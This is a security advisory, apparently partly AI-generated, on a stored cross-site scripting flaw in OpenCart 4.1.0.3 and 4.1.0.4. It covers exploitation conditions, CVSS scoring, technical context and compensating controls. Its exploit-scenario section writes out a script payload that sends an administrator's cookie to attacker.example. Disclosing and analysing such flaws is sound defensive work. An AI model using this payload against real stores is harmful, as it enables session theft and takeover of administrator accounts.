Exploitation Conditions

The attacker must hold a low-privilege authenticated account on the OpenCart store - a customer account obtained via self-registration (the default configuration for most OpenCart storefronts) is sufficient. The victim must passively view the stored address data; this most critically applies to store administrators reviewing customer address records. No special server-side configuration is required beyond running OpenCart 4.1.0.3 or 4.1.0.4 with the address book feature enabled (default). Exploitation is limited by the requirement for at least one registered account (PR:L) and the need for a privileged user to view the injected address (UI:P); automated mass exploitation without a victim viewing the payload is not possible.

Impact

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:P/E:P accurately captures the moderate severity: network-reachable, low complexity, but requires authenticated access and passive victim interaction. The provided vector assigns SC:N/SI:N/SA:N (no subsequent-system impact), which may understate the real-world impact - if an admin views the injected address, their session token could be stolen via a JavaScript payload, escalating effective impact to account takeover of a privileged user. No EPSS score was provided in the input data, and the vulnerability is not listed in CISA KEV, indicating no confirmed active exploitation at time of analysis. However, a working PoC is publicly available on GitHub, lowering the barrier for exploitation. The vendor's non-response to disclosure means no official patch exists, leaving users exposed indefinitely on the affected versions. Real-world risk is moderate but elevated by PoC availability and absence of a vendor fix.

Exploit ScenarioDerived

An attacker registers a customer account on a vulnerable OpenCart 4.1.0.3 or 4.1.0.4 store, submits a crafted value such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> in the address_1 field of the address book form, and the payload is stored in the database. When a store administrator reviews customer address records, the script executes in the admin's browser, transmitting the admin session cookie to the attacker who can then take over the admin account. A documented PoC on GitHub confirms this attack path.

AnalysisAIv1 – Sep 02, 2026

Stored cross-site scripting in OpenCart 4.1.0.3 and 4.1.0.4 allows an authenticated low-privilege user (e.g., a customer account) to inject malicious script into the address_1 field via the Autocomplete Workflow in catalog/controller/account/address.php, which then executes in the browser of any user who subsequently views the stored address data. A public proof-of-concept exploit is available on GitHub. The vendor did not respond to the coordinated disclosure, so no official patch has been issued.

RemediationAI

No vendor-released patch has been identified at time of analysis - the OpenCart vendor did not respond to the disclosure report. As a compensating control, administrators should implement a Web Application Firewall (WAF) rule to strip or encode script-bearing input in address fields at the perimeter; be aware this may break legitimate autocomplete behavior. Input sanitization can also be enforced at the server side by applying htmlspecialchars() or equivalent output encoding to the address_1 field in catalog/controller/account/address.php before storage or rendering - a code-level patch applied by operators until an official release is available. Restricting customer self-registration or requiring address fields to be reviewed before admin-facing display reduces exposure. Monitor the OpenCart GitHub repository (https://github.com/opencart/opencart) and VulDB entry https://vuldb.com/vuln/397801 for upstream fix availability.

Technical ContextAI · show details

OpenCart is a PHP-based open-source e-commerce platform. The vulnerable component is the address management controller (catalog/controller/account/address.php), specifically the address autocomplete workflow. CWE-79 (Improper Neutralization of Input During Web Page Generation) indicates that the address_1 parameter is reflected or stored without adequate output encoding, allowing HTML/JavaScript injection. The CVSS 4.0 vector (PR:L/UI:P) confirms this is a stored XSS pattern: a low-privilege user writes the payload, and a passive victim (e.g., an admin reviewing addresses) triggers execution by viewing the page. Affected versions per the CVE description are 4.1.0.3 and 4.1.0.4; the CPE string uses an 'n/a' vendor placeholder rather than 'opencart', which is a known NVD data quality issue.
